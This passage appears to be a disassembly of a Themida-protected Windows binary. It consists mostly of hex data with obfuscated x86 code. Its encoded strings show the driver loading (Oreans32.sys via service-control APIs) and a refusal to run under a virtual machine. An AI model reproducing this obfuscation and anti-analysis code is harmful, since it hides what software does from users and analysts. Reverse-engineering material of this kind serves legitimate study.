400F2DDh, 0C781EAC5h dd 2039B1E1h, 6E9h, 9F806A00h, 83C07A27h, 850F01E8h, 0FFFFFFA3h dd 714FBA66h, 99E9h, 75622F00h, 65686367h, 326B63h, 6775622Fh dd 63656863h, 662F006Bh, 6563726Fh, 6E7572h, 6775622Fh dd 63656863h, 6C75666Bh, 732F006Ch, 63776F68h, 65646Fh dd 6F68732Fh, 646F6377h, 2F003265h, 74726C63h, 69642F00h dd 2F003173h, 776F6873h, 74736E69h, 65636E61h, 65672F00h dd 736C7774h, 75746174h, 6C2F0073h, 7473676Fh, 73757461h dd 75642F00h, 7473706Dh, 73757461h, 0 dd 68632F00h, 706B6365h, 65746F72h, 6F697463h, 6Eh, 0BD830000h dd 62AEA9Ch, 0A840F00h, 0C7000000h, 2814C585h, 106h, 2585C600h dd 4706280Dh, 4E8h, 6D6C8D00h, 448B5090h, 8B0424h, 4244489h dd 0D5B5FF58h, 8D06282Dh, 283BBB85h, 0FFD0FF06h, 80F88BD0h dd 850F223Fh, 22h, 0AE22B047h, 0FFF9850Fh, 3F80FFFFh, 18840F00h dd 47000003h, 0F003F80h, 30E84h, 1EE900h, 3F800000h, 840F00h dd 80000003h, 850F203Fh, 6, 6E947h, 0E9470000h, 0FFFFFFE2h dd 0F003F80h, 585h, 2DDE900h, 1E90000h, 47000000h, 0F203F80h dd 0FFFFF684h, 3F80FFh, 5850Fh, 0C0E90000h, 0E8000002h dd 0Ah, 0FFFFCBE9h, 2B1E9FFh, 0B58D0000h, 62AEA1Ch, 225E8h dd 0B1BD0300h, 83062AEAh, 2AEAB1BDh, 840F0006h, 0Bh, 14985C7h dd 10628h, 8DC30000h, 2AEA27B5h, 1FCE806h, 0BD030000h dd 62AEAB1h, 0EAB1BD83h, 0F00062Ah, 0B84h, 0C585C700h dd 1062814h, 0C3000000h, 0EAA0B58Dh, 0D3E8062Ah, 3000001h dd 2AEAB1BDh, 0B1BD8306h, 62AEAh, 0B840Fh, 85C70000h, 6282155h dd 1, 31B58DC3h, 0E8062AEAh, 1AAh, 0EAB1BD03h, 0BD83062Ah dd 62AEAB1h, 0B840F00h, 0C7000000h, 2814C585h, 106h, 0B58DC300h dd 62AEA3Bh, 181E8h, 0B1BD0300h, 83062AEAh, 2AEAB1BDh dd 840F0006h, 15h, 14C585C7h, 10628h, 85C70000h, 6280149h dd 1, 49B58DC3h, 0E8062AEAh, 14Eh, 0EAB1BD03h, 0BD83062Ah dd 62AEAB1h, 0A840F00h, 0C7000000h, 2803D185h, 106h, 53B58D00h dd 0E8062AEAh, 126h, 0EAB1BD03h, 0BD83062Ah, 62AEAB1h dd 0A840F00h, 0C7000000h, 2803D185h, 106h, 5EB58D00h, 0E8062AEAh dd 0FEh, 0EAB1BD03h, 0BD83062Ah, 62AEAB1h, 0A840F00h, 0C7000000h dd 2833A585h, 106h, 64B58D00h, 0E8062AEAh, 0D6h, 0EAB1BD03h dd 0BD83062Ah, 62AEAB1h, 0A840F00h, 0C7000000h, 28349D85h dd 106h, 6AB58D00h, 0E8062AEAh, 0AEh, 0EAB1BD03h, 0BD83062Ah dd 62AEAB1h, 0A840F00h, 0C7000000h, 28204985h, 106h, 78B58D00h dd 0E8062AEAh, 86h, 0EAB1BD03h, 0BD83062Ah, 62AEAB1h, 0A840F00h dd 0C7000000h, 28080D85h, 106h, 85B58D00h, 0E8062AEAh dd 5Eh, 0EAB1BD03h, 0BD83062Ah, 62AEAB1h, 0A840F00h, 0C7000000h dd 28291985h, 106h, 90B58D00h, 0E8062AEAh, 36h, 0EAB1BD03h dd 0BD83062Ah, 62AEAB1h, 0A840F00h, 0C7000000h, 28144D85h dd 106h, 1E900h, 80470000h, 840F203Fh, 9, 0F003F80h, 0FFFFED85h dd 0B960C3FFh, 1, 19E9DE8Bh, 80000000h, 850F003Fh, 2, 178AC92Bh dd 840F1638h, 2, 4746C92Bh, 0F003E80h, 884h, 0FC90B00h dd 0FFFFD685h, 0FC90BFFh, 2184h, 3F8000h, 9840Fh, 3F800000h dd 0A850F20h, 0B9000000h, 1, 5E9h, 0B900h, 0C90B0000h dd 0D840Fh, 0F32B0000h, 0EAB1B589h, 0AE9062Ah, 0C7000000h dd 2AEAB185h, 6, 0B8C36100h, 0 ; --------------------------------------------------------------------------- or eax, eax jz loc_57818A mov dword ptr [ebp+62803D1h], 0 loc_57818A: ; CODE XREF: Themida_:0057817Aj mov ecx, eax jmp loc_579248 ; --------------------------------------------------------------------------- db 41h, 44h, 56h dd 33495041h, 4C442E32h, 704F004Ch, 43536E65h, 616E614Dh dd 41726567h, 65724300h, 53657461h, 69767265h, 416563h dd 72617453h, 72655374h, 65636976h, 65470041h, 74614E74h dd 53657669h, 65747379h, 666E496Dh, 704F006Fh, 65536E65h dd 63697672h, 44004165h, 74656C65h, 72655365h, 65636976h dd 6F6C4300h, 65536573h, 63697672h, 6E614865h, 656C64h dd 746E6F43h, 536C6F72h, 69767265h, 6563h, 7 dup(0) dd 6F000000h, 6E616572h, 2E323373h, 737973h, 2 dup(0) dd 6165726Fh, 3678736Eh, 79732E34h, 73h, 0 dd 726F0000h, 736E6165h, 5C003233h, 6F5C2E5Ch, 6E616572h dd 323373h, 5C2E5C5Ch, 626F6C47h, 6F5C6C61h, 6E616572h dd 323373h, 6165726Fh, 3678736Eh, 5C5C0034h, 6C475C2Eh dd 6C61626Fh, 65726F5Ch, 78736E61h, 3436h, 41h dup(0) dd 53000000h, 45545359h, 4F4F524Dh, 73250054h, 7379735Ch dd 336D6574h, 72645C32h, 72657669h, 73255C73h, 5C732500h dd 77737973h, 3436776Fh, 6972645Ch, 73726576h, 73255Ch dd 735C7325h, 65747379h, 5C32336Dh, 76697264h, 5C737265h dd 6165726Fh, 3233736Eh, 7379732Eh, 49h dup(0) dd 61433300h, 746F6E6Eh, 64705520h, 20657461h, 6165726Fh dd 732E736Eh, 64207379h, 65766972h, 50202E72h, 7361656Ch dd 6D202C65h, 20656B61h, 65727573h, 61687420h, 6F792074h dd 61682075h, 0D0A6576h, 696D6461h, 7473696Eh, 6F746172h dd 20732772h, 6D726570h, 20737469h, 20656874h, 73726966h dd 69742074h, 7420656Dh, 20746168h, 20756F79h, 20657261h dd 6E696F67h, 6F742067h, 6E757220h, 69687420h, 72702073h dd 6172676Fh, 2E6Dh, 59h dup(0) dd 61433300h, 746F6E6Eh, 65706F20h, 726F206Eh, 736E6165h dd 6478762Eh, 69726420h, 2E726576h, 6B614D20h, 75732065h dd 74206572h, 20746168h, 6165726Fh, 762E736Eh, 0D0A6478h dd 6E207369h, 6F20746Fh, 206E6570h, 61207962h, 68746F6Eh dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0) dd 65533300h, 65727563h, 69676E45h, 6420656Eh, 65766972h dd 61632072h, 746F6E6Eh, 20656220h, 61647075h, 20646574h dd 61636562h, 20657375h, 72656874h, 72612065h, 6F732065h dd 7020656Dh, 72676F72h, 20736D61h, 6E697375h, 690D0A67h dd 59202E74h, 6E20756Fh, 20646565h, 63206F74h, 65736F6Ch dd 6F687420h, 70206573h, 72676F72h, 20736D61h, 7220726Fh dd 61747365h, 79207472h, 2072756Fh, 706D6F63h, 72657475h dd 520D0A2Eh, 61747365h, 6E207472h, 3F776Fh, 0D9h dup(0) dd 2E5C5C00h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0) dd 73250000h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0) dd 70580000h, 45746F72h, 746E6576h, 0Bh dup(0) dd 53655300h, 64747568h, 506E776Fh, 69766972h, 6567656Ch dd 0 dd 65724300h, 45657461h, 746E6576h, 49504120h, 72724520h dd 7720726Fh, 656C6968h, 74786520h, 74636172h, 206E6F69h dd 20656874h, 76697264h, 47007265h, 6E457465h, 6F726976h dd 6E656D6Eh, 72615674h, 6C626169h, 50412065h, 72452049h dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h dd 65687420h, 69726420h, 726576h, 6E65704Fh, 614D4353h dd 6567616Eh, 50412072h, 72452049h, 20726F72h, 6C696877h dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h dd 726576h, 61657243h, 65536574h, 63697672h, 50412065h dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h dd 6E6F6974h, 65687420h, 69726420h, 726576h, 736F6C43h dd 72655365h, 65636976h, 646E6148h, 4120656Ch, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 7265536Eh dd 65636976h, 49504120h, 72724520h, 7720726Fh, 656C6968h dd 74786520h, 74636172h, 206E6F69h, 20656874h, 76697264h dd 53007265h, 74726174h, 76726553h, 20656369h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 50410072h, 65204349h dd 726F7272h, 6143203Ah, 746F6E6Eh, 6E696620h, 72502064h dd 7365636Fh, 73726F73h, 6E6F4320h, 6C6F7274h, 6F6C4220h dd 2E736B63h, 656C5020h, 2C657361h, 6F630D0Ah, 6361746Eh dd 6E692074h, 6F406F66h, 6E616572h, 6F632E73h, 6F66206Dh dd 68742072h, 65207369h, 726F7272h, 0 dd 10400h, 6F533300h, 2C797272h, 69687420h, 70612073h dd 63696C70h, 6F697461h, 6163206Eh, 746F6E6Eh, 6E757220h dd 646E7520h, 61207265h, 72695620h, 6C617574h, 63614D20h dd 656E6968h, 70h dup(0) dd 100000h, 1000000h, 0FEFFFF00h, 17Fh, 100h, 24A00h, 1000000h dd 8000F00h, 940004h, 50000h, 10000h, 0A280000h, 20000h dd 18h dup(0) db 3 dup(0) byte_579217 db 0 ; CODE XREF: Themida_:0057926Cj dd 8 dup(0) dd 6F530000h, 61777466h, 575C6572h, 656E69h ; --------------------------------------------------------------------------- loc_579248: ; CODE XREF: Themida_:0057818Cj mov eax, esp add [ebp+6280651h], edi mov [ebp+6281D4Dh], eax mov cl, 3Fh mov eax, eax call near ptr loc_57926E+2 arpl [eax], bp pushf setalc sbb al, 15h mov esi, 50234BFCh or al, 0F6h jg short near ptr byte_579217 loc_57926E: ; CODE XREF: Themida_:0057925Ap sbb [edi+ecx], ch mov bh, 0D7h pop edi cmp dword ptr [ebp+6280149h], 0 jnz short loc_579286 cmp dword ptr [ebp+62814C5h], 0 jz short loc_57929F loc_579286: ; CODE XREF: Themida_:0057927Bj push eax push ebx mov eax, eax mov eax, 43Dh mov [ebp+6280291h], eax lea ebx, [ebp+62AA55Eh] call ebx pop ebx pop eax loc_57929F: ; CODE XREF: Themida_:00579284j cmp dword ptr [ebp+62814C5h], 0 jz short loc_5792BF push eax push ebx mov eax, 43Dh mov [ebp+6280291h], eax lea ebx, [ebp+62AA24Dh] call ebx pop ebx pop eax loc_5792BF: ; CODE XREF: Themida_:005792A6j mov edx, [ebp+628334Dh] add [ebp+62800B5h], eax mov eax, eax mov edx, 3B17CCE4h and di, 4128h mov eax, eax js loc_5792E5 mov [ebp+6282D09h], ebx loc_5792E5: ; CODE XREF: Themida_:005792D9j cmp dword ptr [ebp+6280149h], 0 jnz short loc_5792F7 cmp dword ptr [ebp+62814C5h], 0 jz short loc_57930A loc_5792F7: ; CODE XREF: Themida_:005792ECj push eax push ebx mov eax, eax mov eax, 0 lea ebx, [ebp+62AA400h] call ebx pop ebx pop eax loc_57930A: ; CODE XREF: Themida_:005792F5j cmp dword ptr [ebp+62814C5h], 0 jz short loc_579324 push eax push ebx mov eax, 0 lea ebx, [ebp+62AA2B1h] call ebx pop ebx pop eax loc_579324: ; CODE XREF: Themida_:00579311j pusha sub [ebp+6280381h], esi call sub_579335 mov ah, 0C1h fcomp dword ptr [esi] dec edi ; =============== S U B R O U T I N E ======================================= sub_579335 proc near ; CODE XREF: Themida_:0057932Bp mov [ebp+62801D9h], edx pop edx popa mov [ebp+6281889h], edx mov edx, 3151B08Ch mov eax, eax pusha cld mov [ebp+6281D39h], ebx popa mov eax, eax push 0 push esi call sub_579360 and [esi-3Dh], bl sub_579335 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_579360 proc near ; CODE XREF: sub_579335+23p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_579360 endp ; --------------------------------------------------------------------------- dd 0E910CF0Eh, 0Bh, 3A5DECEEh, 0DD752E77h, 107A31Ah, 2831D5B5h dd 49BD8306h, 62801h, 0BD830975h, 62814C5h, 50137400h dd 0B8C08B53h, 0 ; --------------------------------------------------------------------------- lea ebx, [ebp+62AA332h] call ebx pop ebx pop eax cmp dword ptr [ebp+62814C5h], 0 jz short loc_5793C8 push eax push ebx mov eax, 0 lea ebx, [ebp+62AA27Fh] call ebx pop ebx pop eax loc_5793C8: ; CODE XREF: Themida_:005793B5j mov ecx, [ebp+62818B9h] mov dh, 0Bh mov eax, eax mov [ebp+62814C1h], ecx mov eax, eax mov cl, 0E8h cmp dword ptr [ebp+6280149h], 0 jnz short loc_5793EE cmp dword ptr [ebp+62814C5h], 0 jz short loc_579401 loc_5793EE: ; CODE XREF: Themida_:005793E3j push eax push ebx mov eax, eax mov eax, 0 lea ebx, [ebp+62AA399h] call ebx pop ebx pop eax loc_579401: ; CODE XREF: Themida_:005793ECj cmp dword ptr [ebp+62814C5h], 0 jz short loc_57941B push eax push ebx mov eax, 0 lea ebx, [ebp+62AA298h] call ebx pop ebx pop eax loc_57941B: ; CODE XREF: Themida_:00579408j or di, 43A5h or dx, 0AF10h mov eax, eax mov edx, 0AB3D74Bh adc ch, 66h mov eax, eax sub [ebp+62816D9h], ebx cmp dword ptr [ebp+6280149h], 0 jnz short loc_579449 cmp dword ptr [ebp+62814C5h], 0 jz short loc_57945C loc_579449: ; CODE XREF: Themida_:0057943Ej push eax push ebx mov eax, eax mov eax, 0 lea ebx, [ebp+62AA2CBh] call ebx pop ebx pop eax loc_57945C: ; CODE XREF: Themida_:00579447j xor [ebp+6282EC5h], eax mov dx, 5C1h mov eax, eax ja loc_579471 sbb cl, 49h loc_579471: ; CODE XREF: Themida_:00579468j mov eax, eax push 0 push ebp call sub_57947E and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57947E proc near ; CODE XREF: Themida_:00579476p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_57947E endp ; --------------------------------------------------------------------------- dw 0BB04h dd 91A63A6h, 2816BD8Dh, 49BD8306h, 62801h, 0BD830975h dd 62814C5h, 50197400h, 0B8C08B53h, 7D0h, 2918589h, 9D8D0628h dd 62AA55Eh, 585BD3FFh, 14C5BD83h, 74000628h, 0B8535017h dd 7D0h, 2918589h, 9D8D0628h, 62AA24Dh, 585BD3FFh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 80C35747h, 7C39E4FDh dd 0B95108FDh, 3A57E926h, 50006A5Fh, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 0E5B58939h dd 6606282Ah, 738E281h, 9D31C08Bh, 6280111h, 0D2585C6h dd 8B530628h, 28164595h, 5F906806h, 0B70F9939h, 0D5B5FFD6h dd 0E906282Dh, 10h, 1C780C52h, 70040DD7h, 0C9EDF4F3h, 0C1AC2B62h dd 3BBB858Dh, 85890628h, 6281459h, 6060D0FFh, 18059D89h dd 89610628h, 2829BD8Dh, 0B9606106h, 1D13F28h, 0D9858961h dd 66062814h, 0C61C48BFh, 280D2585h, 0BD895706h, 6281A59h dd 4520668h, 0AE990h, 0BE280000h, 769E2399h, 0C543737Bh dd 2DD5B5FFh, 6A0628h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 2B9308C3h, 0EA5AADBFh, 858D36CAh dd 6283BBBh, 0FE9h, 0C2BC0000h, 0DF979DFBh, 0E5CE52EDh dd 51A59968h, 8529D0FFh, 6281911h, 2DC18589h, 0BD890628h dd 62801F5h, 0D2585C6h, 6A430628h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 57E1C352h dd 15AD68Bh, 28223D9Dh, 70286806h, 8960BC90h, 2828E1B5h dd 6139B306h, 2DD5B5FFh, 0E9600628h, 0Fh, 0BAE66B65h, 1C3F3210h dd 674D512Ch, 89D0E181h, 2832AD9Dh, 858D6106h, 6283BBBh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0A2C35343h dd 6CF5B4E4h, 833A0180h, 0FFF88B66h, 53006AD0h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0C271AF50h dd 553BE85Eh, 498589ECh, 89062823h, 280139B5h, 2585C606h dd 4C06280Dh, 6890Fh, 0B5290000h, 6281255h, 0DA1CE968h dd 11BD2BD9h, 0FF06280Ch, 282DD5B5h, 2D958B06h, 306280Ch dd 280971BDh, 0BB858D06h, 0F06283Bh, 681h, 0A5D78100h dd 0F6E45E9h, 0B8Fh, 6E900h, 1F440000h, 0ADDE630Ah, 84BFD0FFh dd 66149F40h, 8589FE8Bh, 62833D1h, 7FA1DA81h, 85C671CDh dd 6280D25h, 27DA8046h, 0DE061468h, 0CE9BAh, 45A10000h dd 404A42B3h, 16E5B4D4h, 0B5FF987Dh, 6282DD5h, 1859531h dd 858D0628h, 6283BBBh, 11719501h, 0D0FF0628h, 19818589h dd 840F0628h, 16h, 11E9h, 1097B800h, 0AC3F8269h, 3A1FF4F5h dd 5E511F31h, 85C689BDh, 6280D25h, 68CE8B47h, 8A0FB5E2h dd 68F0Fh, 850F0000h, 0 ; --------------------------------------------------------------------------- push dword ptr [ebp+6282DD5h] pusha or esi, 5B8361B9h mov edx, [ebp+6280F31h] popa lea eax, [ebp+6283BBBh] mov cx, 43h call eax push 0 push eax call sub_5797DB and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5797DB proc near ; CODE XREF: Themida_:005797D3p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_5797DB endp ; --------------------------------------------------------------------------- push ss mov edx, 89B37AA0h test [ecx], esp sub al, 28h push es jmp loc_579801 ; --------------------------------------------------------------------------- db 22h dd 0A6B6FA8Ch db 0F0h ; --------------------------------------------------------------------------- loc_579801: ; CODE XREF: Themida_:005797F6j mov byte ptr [ebp+6280D25h], 47h mov ecx, 1AA1F1AEh push 83D0B5F3h push edi or di, 0BF93h pop ecx push dword ptr [ebp+6282DD5h] mov cl, bl lea eax, [ebp+6283BBBh] mov ecx, [ebp+62831FDh] call eax mov edx, [ebp+628327Dh] mov [ebp+6280ED9h], eax mov edx, 77A339CDh mov byte ptr [ebp+6280D25h], 77h push 0 push ecx call sub_579852 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_579852 proc near ; CODE XREF: Themida_:0057984Ap arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_579852 endp ; --------------------------------------------------------------------------- dw 0CDCEh ; --------------------------------------------------------------------------- aas push 0F397A8A3h mov ecx, [ebp+6281675h] push dword ptr [ebp+628174Dh] push 0 push edi call sub_579881 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_579881 proc near ; CODE XREF: Themida_:00579879p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_579881 endp ; --------------------------------------------------------------------------- sub [ebp+148E954h], eax mov edx, [ebp+6281639h] lea eax, [ebp+6283BBBh] jo loc_5798AA cld loc_5798AA: ; CODE XREF: Themida_:005798A3j call eax or edi, 7A521279h mov [ebp+6280DF5h], eax jmp loc_5798CD ; --------------------------------------------------------------------------- pop ds mov ebp, [esi+edx*2] popf les edx, [ebp+3Fh] sbb eax, eax lahf xor dword ptr [bx+di], 0FFFFFFE6h nop loc_5798CD: ; CODE XREF: Themida_:005798B8j mov byte ptr [ebp+6280D25h], 47h push 0 push ebx call sub_5798DF and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5798DF proc near ; CODE XREF: Themida_:005798D7p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_5798DF endp ; --------------------------------------------------------------------------- push ds cmc push ds sub byte ptr [esi], 9Ah inc ebp mov cl, ah push ecx sbb dh, 79h pop edx push 8728FAF6h sbb dx, 0E3B8h push dword ptr [ebp+6282DD5h] jmp loc_579919 ; --------------------------------------------------------------------------- add ebx, [ebp+37h] retn 0A374h ; --------------------------------------------------------------------------- db 39h ; --------------------------------------------------------------------------- loc_579919: ; CODE XREF: Themida_:0057990Dj lea eax, [ebp+6283BBBh] jmp loc_579932 ; --------------------------------------------------------------------------- dd 38BA3E98h, 0B530C7B3h, 0B6B160A8h db 63h, 0EAh ; --------------------------------------------------------------------------- loc_579932: ; CODE XREF: Themida_:0057991Fj call eax pusha add [ebp+628338Dh], ebx mov [ebp+628101Dh], esi popa mov [ebp+6281971h], eax push 0 push ebp call sub_579953 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_579953 proc near ; CODE XREF: Themida_:0057994Bp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_579953 endp ; --------------------------------------------------------------------------- db 0B1h ; --------------------------------------------------------------------------- sub eax, 85C6BE7Ah and eax, 4306280Dh push 0 push eax call sub_579979 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_579979 proc near ; CODE XREF: Themida_:00579971p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_579979 endp ; --------------------------------------------------------------------------- db 0ABh, 22h, 5Eh dd 66FA8B66h, 0FC68F98Bh, 80BC8E6Eh, 870FF3C6h, 1Dh, 0FE860h dd 615A0000h, 7C5033E9h, 0C816B62Ah, 51EDAC77h, 8E0F58FCh dd 0 ; --------------------------------------------------------------------------- popa push dword ptr [ebp+6282DD5h] mov [ebp+62807DDh], eax pusha movsx ecx, ax mov esi, [ebp+6280795h] popa lea eax, [ebp+6283BBBh] push 0 push ecx call sub_5799E5 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5799E5 proc near ; CODE XREF: Themida_:005799DDp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5799E5 endp ; --------------------------------------------------------------------------- db 0Ch, 81h, 0EFh ; --------------------------------------------------------------------------- dec edx mov al, 0EFh aaa call eax mov [ebp+6281849h], eax mov [ebp+62818D9h], eax pusha mov cx, di push esi and di, 0D9AAh pop eax popa mov ecx, edx mov byte ptr [ebp+6280D25h], 45h push 8E726969h push 0 push ecx call sub_579A2F and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_579A2F proc near ; CODE XREF: Themida_:00579A27p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_579A2F endp ; --------------------------------------------------------------------------- db 0BEh dd 745FC61Bh, 816662EEh, 0E91813F2h, 6, 0AB83019Bh, 0B5FFC79Dh dd 6282DD5h, 6860Fh, 8D890000h, 6280349h, 3BBB858Dh, 0BD8B0628h dd 6280231h, 0D981D0FFh, 7FE40963h, 2EFD8589h, 6A0628h dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 9D8980C3h, 62828F9h, 0D2585C6h, 29440628h, 28100185h dd 0EC646806h, 0BA66B8F2h, 0B5FF62C2h, 6282DD5h, 0EE9h dd 3A2B1000h, 0B0835835h, 33038883h, 8D27B2D2h, 283BBB85h dd 0FFD38B06h, 51006AD0h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 0E9CD3D6Ch, 0Ch, 0C9FC04C9h dd 33791A93h, 0B89965E0h, 32798589h, 6A0628h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0A1D210C3h dd 72DF765Ah, 0C63EF580h, 280D2585h, 6A4306h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 842C01C3h dd 2723B063h, 0F9D6BF0Fh, 23758D89h, 0A7680628h, 8BC0764Ah dd 0D5B5FFFBh, 6A06282Dh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 0F129C352h, 1458D0E6h dd 0F4E4E2DBh, 29918589h, 858D0628h, 6283BBBh, 0FFCB8B66h dd 959523D0h, 8906281Eh, 2810C185h, 0EE906h, 0C9910000h dd 3BDB7BDEh, 0FC4FC81Eh, 0AF97AD6Ah, 0FA3ABD80h, 0F00062Ah dd 0D584h, 0E1853100h, 8B062833h, 281D2195h, 1C858D06h dd 23062AFAh, 282DA995h, 10E95006h, 1E000000h, 459D3128h dd 0B36D11A7h, 32CC29EAh, 6AC4A923h, 7E901h, 57ED0000h dd 4C432C46h, 23006A62h, 28231DBDh, 7E95206h, 11000000h dd 60CA64B2h, 6A5F7883h, 0DF816600h, 95FF0265h, 6282349h dd 1889BD8Bh, 8D8B0628h, 6280105h, 29398589h, 6A0628h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 1D149AC3h, 92D54B9h, 280E1D8Dh, 81FF6A06h, 0D5D27BE9h dd 39B5FF47h, 89062829h, 280EC185h, 0C195FF06h, 6A06282Dh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 3FEC351h, 3FD2EF81h, 0C08B4F3Ah, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 38C35646h, 79B713E2h dd 6678BC76h, 78F6C181h, 149BD83h, 75000628h, 0C5BD8309h dd 62814h, 53501974h, 0D1B8C08Bh, 89000007h, 28029185h dd 5E9D8D06h, 0FF062AA5h, 83585BD3h, 2814C5BDh, 17740006h dd 0D1B85350h, 89000007h, 28029185h, 4D9D8D06h, 0FF062AA2h dd 0F585BD3h, 0C08BD1BFh, 0EE8h, 0ED25A700h, 3E769B30h dd 0B4A0F488h, 0F55E0DE1h, 2585C65Fh, 4706280Dh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 90C35040h, 0D6D68688h dd 5196FFE6h, 0CFD28166h, 0C16859BCh, 0BF93C8F7h, 4898A8D8h dd 2DD5B5FFh, 0CE90628h, 10000000h, 53C2A459h, 0B61DEB0Ch dd 31B651E7h, 282061B5h, 0BB858D06h, 8B06283Bh, 280C7995h dd 0E8D0FF06h, 0Dh, 0BD2ACD7Bh, 183B4D7Dh, 0BCB760FEh dd 4D8D8BABh, 5F062820h, 0A18D2950h, 8D062820h, 2AFE5D85h dd 75958B06h, 0C7062829h, 9400h, 7E800h, 53D70000h, 0FB6DE9F3h dd 0BD8952B6h, 6282FC9h, 0FC585959h, 0FE5DB58Dh, 6A062Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0F657DDC3h, 0F8DBD8Bh, 8B560628h, 2810B5BDh, 9840F06h dd 0F000000h, 38Eh, 0FE8B6600h, 0DCB9D0FFh, 8D29DE9Fh dd 2AFE5D85h, 0C58D8B06h, 83062804h, 0F060478h, 1785h dd 0C7CF8B00h, 2AFEF185h, 106h, 8B0F5700h, 3, 5F0BD680h dd 2DDBD83h, 0F000628h, 6585h, 0ADBF6600h, 2ABF66F3h, 0F1BD833Ah dd 62AFEh, 50850Fh, 9D290000h, 6281511h, 267DBD83h, 0F000628h dd 3D84h, 0A99D0900h, 106282Eh, 281E5D9Dh, 2185C706h, 62817h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 6A4CC355h, 7913F1Dh, 1A519589h dd 8C660628h, 0C18166DBh, 0C3F6B159h, 98840F04h, 66000005h dd 0C15FF281h, 241585C7h, 628h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 3B2063C3h dd 745EF6EDh, 7E8BA1Fh, 28000000h, 7C38AD85h, 10E949F2h dd 9A000000h, 0B0CFAE30h, 189AA37Fh, 0D540D147h, 5FAE3FF4h dd 0EE851h, 4D9D0000h, 3A0D05DBh, 0D3178887h, 36C789C0h dd 5FCA8B66h, 47BD805Ah, 62AFAh, 39850Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 8928C6C3h, 0DE913FFh, 0CE000000h, 2E6FCF33h, 0B0FD345Dh dd 76A83BBDh, 1870Fh, 0C6F50000h, 280D2585h, 8D014706h dd 6282AD9h, 0E45B8668h, 5D8D8BE3h, 0FF062802h, 282DD5B5h dd 0CA8B6606h, 3BBB858Dh, 6A0628h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 0BDFADDC3h, 0E9D0FF8Dh dd 11h, 9AF8C881h, 0F008036Fh, 7A39BAF9h, 8DFA4DE2h, 0C6B9669Ah dd 10468EDh, 57600000h, 10E9h, 0F18FE400h, 0E10EBC6Ch dd 30858DA7h, 1F57BC63h, 858B5E67h, 6282361h, 299D8D61h dd 89062815h, 280D65B5h, 6A5306h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 669819C3h, 0F315E981h dd 6AD0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 0B98C77C3h, 0E12B8DC5h, 1529858Dh, 8D2B0628h dd 6282689h, 50006A50h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 